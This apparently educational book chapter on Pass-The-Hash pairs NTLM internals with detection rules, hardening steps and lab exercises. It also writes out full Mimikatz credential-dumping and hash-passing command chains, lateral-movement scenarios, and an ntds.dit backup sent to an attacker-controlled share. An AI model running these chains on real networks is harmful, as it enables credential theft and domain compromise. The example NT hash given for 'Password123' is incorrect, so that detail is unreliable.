Chapter 23: Pass-The-Hash¶
Introduction¶
If you’ve spent any time in Windows security, you’ve heard of Pass-The-Hash (PtH). It’s the "bread and butter" of lateral movement. The beauty of this attack—and the reason it’s been around since the 90s—is that it exploits a fundamental rule of NTLM: the hash itself is the password. You don't need to crack it, you don't need to guess it; if you have the NTLM hash, you can prove who you are to any system that supports NTLM.
I’ve seen PtH used in almost every successful red team engagement. Despite decades of awareness and numerous Microsoft security improvements, Pass-The-Hash remains viable in most Windows environments due to the continued necessity of supporting legacy NTLM authentication for backward compatibility. Mimikatz takes this technique to a very high level of technical sophistication with the sekurlsa::pth command. Rather than attempting to authenticate directly with a hash (which would require modifying protocol-level behavior), Mimikatz creates a new process with a suspended thread, establishes a logon session for that process, injects the provided hash into the Local Security Authority Subsystem Service (LSASS) memory associated with that logon session, and then resumes the process.
This chapter explores the technical foundations of NTLM authentication that enable PtH attacks, the implementation details of Mimikatz's approach, detection strategies, and defensive countermeasures.
NTLM Authentication and Hash-Based Authentication¶
NTLM Protocol Overview¶
NT LAN Manager (NTLM) is a suite of authentication protocols used in Windows environments to provide authentication, integrity, and confidentiality. Despite being succeeded by Kerberos as the primary authentication mechanism in Active Directory domains, NTLM remains widely supported for:
- Workgroup (non-domain) authentication
- Authentication to systems via IP address (Kerberos requires hostname/SPN)
- Legacy applications that don't support Kerberos
- Authentication through proxies and firewalls that break Kerberos
- Fallback when Kerberos fails (DC unreachable, clock skew, etc.)
NTLM Authentication Flow (Challenge-Response):
- Client Request: Client requests access to a server resource
- Server Challenge: Server generates 8-byte random challenge, sends to client
- Client Response: Client encrypts challenge with NT hash, sends encrypted result
- Server Validation: Server verifies response matches expected encryption of challenge
Key Insight for PtH: The client encrypts the server's challenge using the NT hash directly as the encryption key. The NT hash is never transmitted over the network, but it is the cryptographic secret used to prove identity. This means possessing the hash is functionally equivalent to possessing the password for NTLM authentication purposes.
NT Hash Generation¶
The NT hash (also called NTLM hash) is generated from a user's password using the MD4 algorithm:
NT_Hash = MD4(UTF-16LE(Password))
Example:
Password: "Password123"
UTF-16LE Encoding: 50 00 61 00 73 00 73 00 77 00 6F 00 72 00 64 00 31 00 32 00 33 00
MD4 Hash: 8A17FD6F96ADB1E28A0F9E5B25A40F72
NT Hash: 8A17FD6F96ADB1E28A0F9E5B25A40F72
This hash is stored in:
- SAM Database: For local accounts on workstations/member servers (
C:\Windows\System32\config\SAM) - NTDS.dit: For domain accounts on domain controllers (
C:\Windows\NTDS\ntds.dit) - LSASS Memory: For currently logged-on users (during session lifetime)
Why Pass-The-Hash Works¶
The fundamental vulnerability that enables PtH attacks is that NTLM challenge-response authentication uses the hash directly:
NTLM Response Calculation:
Challenge: 8 random bytes from server
NT_Response = DES-ECB(NT_Hash, Challenge)
The server performs the same calculation:
1. Retrieve user's NT hash from SAM/AD
2. Encrypt the challenge with that hash
3. Compare result with client's response
4. Grant access if they match
Critical Point: At no stage does the actual password enter the authentication process. The NT hash is the cryptographic secret. Therefore:
- If an attacker has the NT hash, they can compute valid NTLM responses
- Password cracking is unnecessary for authentication (though useful for other purposes)
- Changing the password changes the hash, but a stolen hash remains valid until changed
Kerberos and AES Keys¶
While NTLM uses the NT hash directly, Kerberos in modern Windows uses AES encryption keys derived from passwords:
AES Key Derivation:
Salt = Domain_Name_Uppercase + Username
AES256_Key = PBKDF2-HMAC-SHA1(UTF-8(Password), UTF-8(Salt), 4096 iterations, 32 bytes)
AES128_Key = PBKDF2-HMAC-SHA1(UTF-8(Password), UTF-8(Salt), 4096 iterations, 16 bytes)
Mimikatz's sekurlsa::pth supports injecting both NTLM hashes and Kerberos AES keys:
- NT Hash: Works for NTLM authentication and Kerberos RC4 (etype 23)
- AES256 Key: Works for Kerberos AES256-CTS-HMAC-SHA1-96 (etype 18)
- AES128 Key: Works for Kerberos AES128-CTS-HMAC-SHA1-96 (etype 17)
This flexibility allows the attack to work in environments that have disabled RC4 for Kerberos but still support NTLM, or in modern environments using AES Kerberos.
The sekurlsa::pth Command¶
Command Syntax¶
mimikatz # sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<hash> [/run:<command>] [/aes128:<key>] [/aes256:<key>] [/rc4:<hash>]
Required Parameters:
/user:<username>- The username to impersonate. Note that "Administrator" is not the only name for the built-in admin account; use the actual username (e.g., "admin", "adm", or custom names)./domain:<domain>- The domain name (FQDN or NetBIOS name) for domain accounts, or the computer name, workgroup name, or "localhost" for local accounts.
Hash/Key Parameters (at least one required):
/ntlm:<hash>- The NT hash (NTLM hash) of the user's password, 32 hexadecimal characters./rc4:<hash>- Alias for/ntlm, since the NT hash is used as RC4 key in Kerberos etype 23./aes128:<key>- The AES128 key derived from the user's password and domain salt, 32 hex characters./aes256:<key>- The AES256 key derived from the user's password and domain salt, 64 hex characters.
Optional Parameters:
/run:<command>- The command to execute in the new process. Default:cmd.exe(opens command prompt).
Execution Requirements:
- Elevated Privileges: Must run with
privilege::debugor as SYSTEM account. - LSASS Access: Requires ability to open LSASS process with VM_WRITE permissions.
- Architecture Match: Mimikatz must match system architecture (x64 for 64-bit Windows).
Technical Implementation¶
Mimikatz's sekurlsa::pth performs a sophisticated multi-step process:
Step 1: Process Creation with Suspended Thread
Mimikatz uses the CreateProcessWithLogonW API to create a process:
CreateProcessWithLogonW(
lpUsername, // Provided via /user
lpDomain, // Provided via /domain
L"", // Empty password (intentional)
LOGON_NETCREDENTIALS_ONLY,
NULL,
lpCommandLine, // Provided via /run (default: cmd.exe)
CREATE_SUSPENDED, // Process created but not started
NULL,
NULL,
&si,
&pi
);
Key Behaviors:
- LOGON_NETCREDENTIALS_ONLY: Creates credentials for network authentication only (doesn't validate password locally)
- CREATE_SUSPENDED: Main thread is created but not executed, allowing manipulation before process starts
- Empty Password: Since password validation is deferred to actual authentication attempts, an empty password is accepted
Step 2: LogonSession LUID Acquisition
Mimikatz opens the newly created process and extracts its logon session identifier:
1. OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pi.dwProcessId)
2. OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)
3. GetTokenInformation(hToken, TokenStatistics, &tokenStats, ...)
4. Extract tokenStats.AuthenticationId (LUID of logon session)
The LUID (Locally Unique Identifier) identifies the logon session in LSASS that stores credentials for this process. Every process has an associated logon session, which contains cached credentials for authentication.
Step 3: LSASS Memory Injection
Mimikatz opens LSASS and locates the credential structure for the target logon session:
1. Open LSASS process (lsass.exe) with VM_READ, VM_WRITE, VM_OPERATION
2. Locate MSV1_0 SSP credential structure for the LUID
3. Navigate to credential list in LSASS memory
4. Inject provided NT hash (and/or AES keys) into credential structure
Memory Structure (Simplified):
LSASS Memory
└── LogonSessionList
└── LogonSession[LUID]
└── CredentialList
└── MSV1_0_Credentials
└── NtOwfPassword = Injected_NT_Hash
└── Kerberos_Credentials
└── AES256_Key = Injected_AES256_Key
└── AES128_Key = Injected_AES128_Key
Step 4: Process Resumption
After credential injection:
ResumeThread(pi.hThread); // Resume main thread of suspended process
The process now executes with the injected credentials in its logon session. When the process attempts network authentication:
1. Process requests authentication (e.g., net use \server\[share])
2. LSASS retrieves credentials from the process's logon session LUID
3. LSASS uses the injected NT hash to perform NTLM authentication
4. Server validates challenge-response and grants access
Result: The user receives a command prompt (or other specified process) that can authenticate to network resources as the targeted user, using only the hash.
Usage Examples¶
Example 1: Local Administrator Hash
Scenario: Extracted local administrator hash from SAM database.
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::pth /user:Administrator /domain:WORKSTATION01 /ntlm:8A17FD6F96ADB1E28A0F9E5B25A40F72
user : Administrator
domain : WORKSTATION01
program : cmd.exe
impers. : no
NTLM : 8A17FD6F96ADB1E28A0F9E5B25A40F72
| PID 1234
| TID 5678
| LUID 0 ; 12345678
\_ msv1_0 - data copy @ 00007FF8DEADBEEF
A new command window opens. From that window:
C:\Windows\System32> net use \\10.0.0.50\C$ /user:WORKSTATION01\Administrator
The command completed successfully.
C:\Windows\System32> dir \\10.0.0.50\C$
Volume in drive \\10.0.0.50\C$ is Windows
[Directory listing...]
Example 2: Domain User Hash
Scenario: Dumped domain user hash from LSASS memory.
mimikatz # sekurlsa::pth /user:bob /domain:CORP.LOCAL /ntlm:FC525C9683E8FE067095BA2DDC971889 /run:powershell.exe
user : bob
domain : CORP.LOCAL
program : powershell.exe
impers. : no
NTLM : FC525C9683E8FE067095BA2DDC971889
| PID 9876
| TID 5432
| LUID 0 ; 87654321
\_ msv1_0 - data copy @ 00007FF8CAFEBABE
PowerShell window opens with bob's network credentials:
PS C:\> Get-ChildItem \\dc01.corp.local\SYSVOL
Directory: \\dc01.corp.local\SYSVOL
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/15/2024 3:45 PM corp.local
PS C:\> Enter-PSSession -ComputerName SERVER01
[SERVER01]: PS C:\> whoami
corp\bob
Example 3: AES256 Key for Modern Environment
Scenario: Environment has disabled RC4 for Kerberos, only AES supported.
mimikatz # sekurlsa::pth /user:admin /domain:CORP.LOCAL /aes256:c7cc0f52e33c9a84f1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4 /run:cmd.exe
user : admin
domain : CORP.LOCAL
program : cmd.exe
impers. : no
AES256 : c7cc0f52e33c9a84f1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4
| PID 3456
| TID 7890
| LUID 0 ; 23456789
\_ kerberos - data copy @ 00007FF8DEADC0DE
Kerberos authentication uses AES256 key:
C:\> klist tickets
...
Ticket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Example 4: Combined Hash and AES Keys
For maximum compatibility across authentication scenarios:
mimikatz # sekurlsa::pth /user:admin /domain:CORP /ntlm:8A17FD6F96ADB1E28A0F9E5B25A40F72 /aes256:c7cc0f52e33c9a84f1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4
This allows:
- NTLM authentication using NT hash
- Kerberos RC4 (etype 23) using NT hash as RC4 key
- Kerberos AES256 (etype 18) using AES256 key
- Kerberos AES128 (etype 17) using AES128 key
Obtaining Hashes for Pass-The-Hash¶
From LSASS Memory¶
The most common method is extracting hashes from LSASS memory on a compromised system:
Using sekurlsa::logonpasswords:
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 1234567 (00000000:0012d687)
Session : Interactive from 1
User Name : alice
Domain : CORP
Logon Server : DC01
Logon Time : 11/30/2024 9:15:23 AM
SID : S-1-5-21-123456789-123456789-123456789-1001
msv :
[00000003] Primary
* Username : alice
* Domain : CORP
* NTLM : fc525c9683e8fe067095ba2ddc971889
* SHA1 : a3d5f6e7c8b9a0b1c2d3e4f5a6b7c8d9e0f1a2b3
kerberos :
* Username : alice
* Domain : CORP.LOCAL
* Password : (null)
ssp :
credman :
Extract the NTLM hash: fc525c9683e8fe067095ba2ddc971889
Use in PtH:
sekurlsa::pth /user:alice /domain:CORP /ntlm:fc525c9683e8fe067095ba2ddc971889
From SAM Database¶
For local accounts, extract hashes from the SAM registry hive:
Live System (requires SYSTEM):
mimikatz # token::elevate
mimikatz # lsadump::sam
Domain : WORKSTATION01
SysKey : 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d
Local Users
Administrator
RID : 000001f4 (500)
User : Administrator
NTLM : 8a17fd6f96adb1e28a0f9e5b25a40f72
Guest
RID : 000001f5 (501)
User : Guest
bob
RID : 000003e9 (1001)
User : bob
NTLM : 64f12cddaa88057e06a81b54e73b949b
Offline (from registry hive backups):
reg save HKLM\SAM C:\temp\sam.hive
reg save HKLM\SYSTEM C:\temp\system.hive
Then on attacker system:
mimikatz # lsadump::sam /system:C:\temp\system.hive /sam:C:\temp\sam.hive
From NTDS.dit (Domain Controller)¶
For domain accounts, extract from the Active Directory database:
Using ntdsutil (requires DA):
ntdsutil "ac i ntds" "ifm" "create full C:\temp\ntds" q q
Extract hashes from NTDS.dit:
mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator
[DC] 'corp.local' will be the domain
[DC] 'DC01.corp.local' will be the DC server
[DC] 'Administrator' will be the user account
Object RID : 500
SAM Username : Administrator
User Principal Name : Administrator@corp.local
Credentials:
Hash NTLM: 8a17fd6f96adb1e28a0f9e5b25a40f72
Or extract all hashes:
mimikatz # lsadump::dcsync /domain:corp.local /all /csv
From Network Captures (Responder, LLMNR/NBT-NS Poisoning)¶
Capture NTLMv2 challenge-response, crack offline:
alice::CORP:1122334455667788:d6a3b2c1e5f4a7b8c9d0e1f2a3b4c5d6:01010000...
Crack with Hashcat:
hashcat -m 5600 hash.txt wordlist.txt --force
If cracked, use the password to generate the NT hash, or use the password directly.
Attack Scenarios¶
Scenario 1: Lateral Movement After Workstation Compromise¶
Context: Attacker compromises a user workstation via phishing.
Attack Flow:
-
Initial Access: User "alice" clicks malicious link, runs attacker payload.
- Payload establishes C2 beacon - Attacker has standard user privileges on WORKSTATION05 -
Credential Dumping:
beacon> execute-assembly Mimikatz.exe privilege::debug sekurlsa::logonpasswords [Output shows alice's hash and local admin hash] alice - NTLM: fc525c9683e8fe067095ba2ddc971889 Administrator (local) - NTLM: 8a17fd6f96adb1e28a0f9e5b25a40f72 -
Local Privilege Escalation:
beacon> mimikatz sekurlsa::pth /user:Administrator /domain:WORKSTATION05 /ntlm:8a17fd6f96adb1e28a0f9e5b25a40f72 /run:powershell.exe [New PowerShell window with local admin network credentials] -
Network Reconnaissance:
PS> Get-ADComputer -Filter * | Select-Object Name # Identify other workstations and servers WORKSTATION01 WORKSTATION02 ... SERVER01 SERVER02 -
Lateral Movement via PsExec:
PS> .\PsExec.exe \\WORKSTATION02 -accepteula cmd.exe # If local admin hash is reused across workstations, gain access C:\Windows\system32>whoami workstation02\administrator -
Credential Harvesting on New System:
C:\> mimikatz.exe privilege::debug sekurlsa::logonpasswords # Find domain admin who recently logged into WORKSTATION02 Domain Admin "bob" - NTLM: 64f12cddaa88057e06a81b54e73b949b -
Domain Admin Access:
mimikatz # sekurlsa::pth /user:bob /domain:CORP /ntlm:64f12cddaa88057e06a81b54e73b949b # Now have domain admin privileges C:\> net use \\DC01\C$
Result: From initial user workstation compromise to domain admin access via cascading Pass-The-Hash attacks.
Scenario 2: Persistent Access with Stolen Hashes¶
Context: Red team assessment with periodic access to target environment.
Attack Flow:
-
Initial Compromise: Gain access to member server during business hours.
- Exploit vulnerable web application on SERVER03 - Web app runs as service account "svc_web" -
Hash Extraction:
mimikatz # sekurlsa::logonpasswords svc_web - NTLM: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 Local_Admin - NTLM: f1e2d3c4b5a6978809c0b1a2d3e4f5a6 -
Store Hashes Securely:
Attacker maintains hash database: SERVER03\Local_Admin: f1e2d3c4b5a6978809c0b1a2d3e4f5a6 CORP\svc_web: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 -
Re-Access After Hours (Days Later):
# From attacker workstation mimikatz # sekurlsa::pth /user:svc_web /domain:CORP /ntlm:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 # Access server C:\> net use \\SERVER03\C$ C:\> PsExec.exe \\SERVER03 cmd.exe -
Hash Remains Valid:
Unless svc_web password is changed, hash works indefinitely Red team maintains access for assessment duration
Persistence Benefits: - No need to re-exploit vulnerability - Access survives application patching - Works even if vulnerability is fixed - Only password change invalidates access
Scenario 3: Bypass Least Privilege with Service Account Hash¶
Context: Organization implements least privilege for interactive logons but service accounts have excessive permissions.
Attack Flow:
-
Compromise Standard User Workstation:
- Social engineering attack on user "carol" - Gain standard user access to WORKSTATION10 -
Discover Service Account in Memory:
mimikatz # sekurlsa::logonpasswords ... svc_backup - NTLM: 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d (Service account with backup operators privileges) -
Use Service Account Hash:
mimikatz # sekurlsa::pth /user:svc_backup /domain:CORP /ntlm:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d C:\> net use \\DC01\C$ # Service account has backup privileges on DC -
Backup NTDS.dit:
wbadmin start backup -backupTarget:\\ATTACKER-SERVER\share -include:C:\Windows\NTDS\ntds.dit -quiet -
Extract All Domain Hashes:
mimikatz # lsadump::dcsync /domain:corp.local /all /csv > all_hashes.txt
Result: Service account over-privilege bypasses user-level least privilege controls, enabling domain-wide compromise.
Detection Strategies¶
Event ID 4648: Explicit Credential Logon¶
When CreateProcessWithLogonW is called, Windows logs Event ID 4648.
Event Details:
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<EventID>4648</EventID>
<Task>Logon</Task>
</System>
<EventData>
<Data Name="SubjectUserSid">S-1-5-21-...-1001</Data>
<Data Name="SubjectUserName">alice</Data>
<Data Name="SubjectDomainName">CORP</Data>
<Data Name="SubjectLogonId">0x12d687</Data>
<Data Name="LogonGuid">{00000000-0000-0000-0000-000000000000}</Data>
<Data Name="TargetUserName">Administrator</Data>
<Data Name="TargetDomainName">WORKSTATION05</Data>
<Data Name="TargetLogonGuid">{00000000-0000-0000-0000-000000000000}</Data>
<Data Name="TargetServerName">localhost</Data>
<Data Name="TargetInfo">localhost</Data>
<Data Name="ProcessId">0x1a2b</Data>
<Data Name="ProcessName">C:\Tools\mimikatz.exe</Data>
</EventData>
</Event>
Detection Logic:
Alert on Event ID 4648 WHERE:
- TargetServerName = "localhost" (local credential use)
- ProcessName contains "mimikatz", "powershell", "cmd" (suspicious processes)
- TargetUserName != SubjectUserName (impersonation)
Limitations:
- Event ID 4648 is common for legitimate runas operations
- High volume in environments with task scheduler or services
- Requires filtering to reduce false positives
Splunk Query Example:
index=windows EventCode=4648 TargetServerName="localhost"
| where TargetUserName != SubjectUserName
| stats count by SubjectUserName, TargetUserName, ProcessName, ComputerName
| where count > 5
Sysmon Event ID 10: LSASS Process Access¶
PtH requires injecting credentials into LSASS memory, generating process access events.
Sysmon Configuration:
<RuleGroup name="LSASS Protection" groupRelation="or">
<ProcessAccess onmatch="include">
<TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
<GrantedAccess condition="is">0x1410</GrantedAccess>
</ProcessAccess>
<ProcessAccess onmatch="include">
<TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
<SourceImage condition="contains any">mimikatz;powershell;cmd;wmic</SourceImage>
</ProcessAccess>
</RuleGroup>
Event Data:
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<EventID>10</EventID>
</System>
<EventData>
<Data Name="SourceImage">C:\Tools\mimikatz.exe</Data>
<Data Name="TargetImage">C:\Windows\System32\lsass.exe</Data>
<Data Name="GrantedAccess">0x1410</Data>
<Data Name="CallTrace">C:\Windows\SYSTEM32\ntdll.dll+9d4c4|...</Data>
</EventData>
</Event>
Indicators: - SourceImage from non-standard locations (C:\Users\, C:\Temp\, C:\ProgramData) - Unexpected GrantedAccess values (0x1410, 0x1FFFFF) - CallTrace shows unusual DLL loading patterns
NTLM Authentication Monitoring¶
While PtH doesn't create typical logon events, NTLM authentication still generates telemetry.
Event ID 4776: NTLM Authentication
LogName: Security
Source: Microsoft-Windows-Security-Auditing
EventID: 4776
Message: The computer attempted to validate credentials for an account
Account Name: alice
Source Workstation: WORKSTATION05
Error Code: 0x0 (success)
Anomaly Detection: - Same account authenticating from multiple workstations simultaneously - Accounts authenticating to unusual systems - High volume of NTLM authentications from single source - Service accounts authenticating interactively
Query for Unusual NTLM Volume:
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4776}
| Where-Object {$_.Properties[1].Value -eq '0x0'}
| Group-Object {$_.Properties[0].Value}
| Where-Object {$_.Count -gt 50}
| Sort-Object Count -Descending
Behavioral Analytics¶
User and Entity Behavior Analytics (UEBA): - Baseline normal authentication patterns per user - Alert on deviations:
- User authenticating outside normal hours
- User accessing unusual systems
- Geographic impossibilities (VPN switching, concurrent distant locations)
- Sudden access to resources previously never accessed
Example SIEM Rule (Pseudocode):
FOR each successful authentication:
IF user_has_never_accessed_this_system_before():
RAISE ALERT("First-time system access by user")
IF authentication_outside_business_hours():
RAISE ALERT("After-hours authentication")
IF authentication_encryption_type == NTLM AND user_typically_uses_Kerberos():
RAISE ALERT("Unexpected NTLM usage")
EDR Detection¶
Modern EDR solutions detect PtH through:
Memory Analysis: - Detect credential injection into LSASS - Identify suspicious LSASS memory modifications - Recognize known Mimikatz code patterns
Process Behavior: - CreateProcessWithLogonW with empty password - Immediate LSASS access after process creation - Process tree analysis (unusual parent-child relationships)
Credential Usage Anomalies: - Process using credentials for different user than process owner - Network authentication without corresponding logon event
Defensive Strategies¶
Restrict NTLM Authentication¶
The most effective long-term defense is eliminating NTLM entirely.
Domain-Wide NTLM Restrictions:
Audit Mode (Phase 1):
Computer Configuration → Policies → Windows Settings → Security Settings
→ Local Policies → Security Options
→ Network security: Restrict NTLM: Audit NTLM authentication in this domain
→ Enabled: Enable all
Monitor Event ID 8004 for 30-90 days:
Event ID 8004: NTLM authentication audit
Records NTLM authentication attempts and source
Enforcement (Phase 2):
→ Network security: Restrict NTLM: NTLM authentication in this domain
→ Deny all (recommended) OR Deny for domain accounts to domain servers
Allow Exceptions:
→ Network security: Restrict NTLM: Add remote server exceptions for NTLM authentication
→ List specific servers/applications that require NTLM
Workstation-to-Workstation Blocking:
→ Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers
→ Deny all
Prevents lateral movement via NTLM (forces Kerberos, which provides better auditing).
Implement LSA Protection (PPL)¶
LSA Protected Process Light prevents unsigned code from accessing LSASS memory.
Enable via Registry:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa
RunAsPPL = 1 (DWORD)
Enable via Group Policy:
Computer Configuration → Administrative Templates → System → Local Security Authority
→ Configure LSASS to run as a protected process: Enabled
Impact:
- Mimikatz sekurlsa::pth fails with "access denied"
- Credential dumping blocked
- Requires kernel-mode driver or boot-level bypass
Requirements: - Windows 8.1 / Server 2012 R2 or later - UEFI with Secure Boot enabled
Credential Guard¶
Windows Defender Credential Guard uses virtualization-based security to isolate credentials.
Enable via Group Policy:
Computer Configuration → Administrative Templates → System → Device Guard
→ Turn on Virtualization Based Security: Enabled
- Credential Guard Configuration: Enabled with UEFI lock
Protection: - Credentials stored in isolated virtual container (VTL-1) - LSASS cannot access plaintext credentials - PtH with NTLM still possible, but reduces credential exposure
Limitations: - Only protects against plaintext credential theft - Does not prevent PtH with already-stolen hashes - Incompatible with domain controllers
Local Administrator Password Solution (LAPS)¶
LAPS randomizes local administrator passwords across workstations/servers.
Deployment:
- Install LAPS GPO templates
- Configure LAPS policy:
- Path:
Computer Configuration → Policies → Administrative Templates → LAPS - Setting: Enable local admin password management (Enabled)
-
Password Settings:
- Password Length: 20 characters
- Password Age: 30 days
- Password Complexity: Large letters + small letters + numbers + special
-
Extend Active Directory schema (
adprep) - Set permissions on computer objects for password storage
Effect: - Each workstation has unique local admin password - Passwords rotated automatically - Lateral movement via local admin hash stopped (hash only works on one system)
PtH Impact: Hash extracted from WORKSTATION01 local admin only works on WORKSTATION01, not WORKSTATION02-50.
Privileged Access Workstations (PAWs)¶
Dedicated administrative workstations with hardened security.
PAW Characteristics: - No internet access - No email client - Credential Guard enabled - LSA PPL enabled - Application whitelisting (WDAC/AppLocker) - Disabled SMBv1, LLMNR, NetBIOS - Monitored extensively
Administrative Process: 1. Administrator uses standard user account on regular workstation 2. Switches to PAW for administrative tasks 3. Credentials only entered on PAW (never on user workstation) 4. PtH risk isolated to PAW environment
Least Privilege and Just-in-Time Administration¶
Principle of Least Privilege: - Remove permanent Domain Admin membership - Grant privileges only when needed - Use Privileged Identity Management (PIM) solutions
Microsoft Identity Manager (MIM) / Azure AD PIM:
1. User requests Domain Admin access
2. Manager approves (optional: MFA required)
3. User granted Domain Admin for 4 hours
4. Access automatically revoked after expiration
Impact: - Reduces window for hash theft - Limits value of stolen hashes (time-limited) - Provides accountability and auditing
Monitoring and Alerting¶
Real-Time Alerts: - Sysmon Event ID 10: Unusual LSASS access - Event ID 4648: Explicit credential usage from suspicious processes - Event ID 4776: High-volume NTLM authentication anomalies - EDR alerts on credential injection
Automated Response:
IF LSASS_access_from_mimikatz_detected():
- Isolate host from network
- Kill suspicious process
- Capture memory dump for forensics
- Alert SOC for investigation
- Force password reset for accounts in LSASS memory on host
Practical Exercises¶
Exercise 1: Pass-The-Hash Execution¶
Objective: Execute Pass-The-Hash attack in lab environment.
Prerequisites: - Isolated lab domain (NOT production) - Windows 10 workstation (CLIENT01) - Windows Server 2019 member server (SERVER01) - Domain admin account - Mimikatz binary
Steps:
-
Extract Hash from LSASS
- Log into CLIENT01 as domain user "alice" - Execute Mimikatz as administrator - Run: privilege::debug - Run: sekurlsa::logonpasswords - Copy alice's NTLM hash -
Execute Pass-The-Hash
- Run: sekurlsa::pth /user:alice /domain:CORP /ntlm:[hash] - Observe new command window - Note Event IDs generated (4648, Sysmon 10) -
Test Network Authentication
- From PtH command window: net use \\SERVER01\C$ - Verify successful authentication without password - Access file shares: dir \\SERVER01\C$\Users -
Verify Credentials in New Process
- From PtH window: klist - Observe Kerberos tickets for alice - Run: whoami /all - Confirm process runs as local user but network credentials are alice
Questions: - What Event IDs were generated? - Does the PtH window show alice as the current user (whoami)? - Can you access resources alice normally accesses?
Exercise 2: Detection Development¶
Objective: Build detection for Pass-The-Hash attacks.
Prerequisites: - Sysmon installed on CLIENT01 - Windows Event Forwarding or SIEM - Administrative access
Steps:
-
Baseline LSASS Access
# Collect 1 hour of normal LSASS access events Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object {$_.Id -eq 10 -and $_.Properties[4].Value -match "lsass.exe"} | Select-Object TimeCreated, @{N='SourceImage';E={$_.Properties[3].Value}}, @{N='GrantedAccess';E={$_.Properties[6].Value}} # Identify legitimate processes -
Execute PtH Attack
- Run sekurlsa::pth as in Exercise 1 - Capture all event data during attack -
Identify Attack Indicators
- Sysmon Event ID 10: mimikatz.exe → lsass.exe, GrantedAccess 0x1410 - Event ID 4648: mimikatz.exe using explicit credentials - Event ID 4776: NTLM authentication shortly after -
Create Detection Rule
<!-- Sysmon Rule --> <RuleGroup name="PtH Detection" groupRelation="or"> <ProcessAccess onmatch="include"> <TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage> <GrantedAccess condition="is">0x1410</GrantedAccess> </ProcessAccess> </RuleGroup>
# Splunk Correlation Rule
index=windows (EventCode=10 TargetImage="*lsass.exe" GrantedAccess="0x1410")
OR (EventCode=4648)
| transaction host maxspan=30s
| where EventCode=10 AND EventCode=4648
| stats count by host, user
- Test False Positive Rate
- Run legitimate administrative tasks - Use runas command - Execute security scanners - Measure alert accuracy
Deliverable: Detection rule with <10% false positive rate and 100% true positive rate.
Exercise 3: Defensive Hardening¶
Objective: Deploy defenses to prevent Pass-The-Hash.
Prerequisites: - Lab domain with CLIENT01 and SERVER01 - Administrative access
Steps:
-
Enable LSA Protection on CLIENT01
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1 -Type DWord Restart-Computer -
Test PtH with LSA PPL Enabled
- Attempt sekurlsa::pth - Observe "Handle on memory (0x00000005)" error (Access Denied) - Document Event IDs (attempt logged even though blocked) -
Deploy LAPS (if available in lab)
- Install LAPS GPO templates - Configure password policy - Apply to workstations OU - Force group policy update - Verify unique local admin passwords -
Restrict NTLM (Audit Mode)
- Create GPO: "NTLM Audit Policy" - Computer Config → Policies → Windows Settings → Security Settings → Local Policies → Security Options - Network security: Restrict NTLM: Audit NTLM authentication in this domain - Set to: Enable all - Apply to entire domain - Monitor Event ID 8004 for 24 hours -
Analyze NTLM Usage
Get-WinEvent -LogName "Microsoft-Windows-NTLM/Operational" -FilterXPath "*[System[EventID=8004]]" | Select-Object TimeCreated, Message | Out-GridView -
Enforce NTLM Restrictions (if no critical dependencies)
- Modify GPO: Network security: Restrict NTLM: NTLM authentication in this domain - Set to: Deny for domain accounts to domain servers - Test PtH (should fail for domain resources)
Validation: - PtH blocked by LSA PPL - LAPS prevents local admin hash reuse - NTLM restrictions limit lateral movement
Expected Results: - PtH blocked by LSA PPL - LAPS prevents local admin hash reuse - NTLM restrictions limit lateral movement
Summary¶
Pass-The-Hash remains one of the most effective and widely-used attack techniques in Windows environments due to the fundamental design of NTLM authentication, where the hash itself is the cryptographic secret rather than merely a password verifier. This characteristic means that an attacker who obtains a user's NT hash can authenticate to network resources as that user without ever needing to know or crack the password.
Key Technical Points:
-
NTLM Architecture: The protocol uses the NT hash directly to encrypt server challenges during authentication, making hash possession equivalent to password possession for NTLM authentication purposes.
-
Mimikatz Implementation: The
sekurlsa::pthcommand creates a process with suspended thread, establishes a logon session, injects the provided hash into LSASS memory for that session's LUID, and resumes the process, resulting in a shell with network authentication capability. -
Kerberos Compatibility: Modern implementations support both NTLM hashes (for RC4-HMAC Kerberos and NTLM auth) and AES keys (for AES128/256 Kerberos), providing flexibility across different environment configurations.
-
Detection Vectors: Primary detection relies on Event ID 4648 (explicit credential logon), Sysmon Event ID 10 (LSASS process access), and Event ID 4776 (NTLM authentication), along with behavioral analytics for anomalous authentication patterns.
-
Defense Layering:
-
NTLM Restriction: Eliminating NTLM protocol prevents the attack entirely
- LSA PPL: Blocks credential injection into LSASS memory
- LAPS: Prevents local admin hash reuse across systems
- Credential Guard: Reduces credential exposure (but doesn't prevent PtH with stolen hashes)
- PAWs: Isolates administrative credentials to hardened systems
Operational Considerations:
For offensive practitioners, Pass-The-Hash is valuable because:
- No password cracking required (saves time and resources)
- Works with any NT hash (extracted from memory, SAM, NTDS, or network captures)
- Bypasses many application-layer authentication controls
- Enables lateral movement with local admin hash reuse
- Combines with other attacks (DCSync after DA hash obtained)
For defensive teams, protecting against PtH requires:
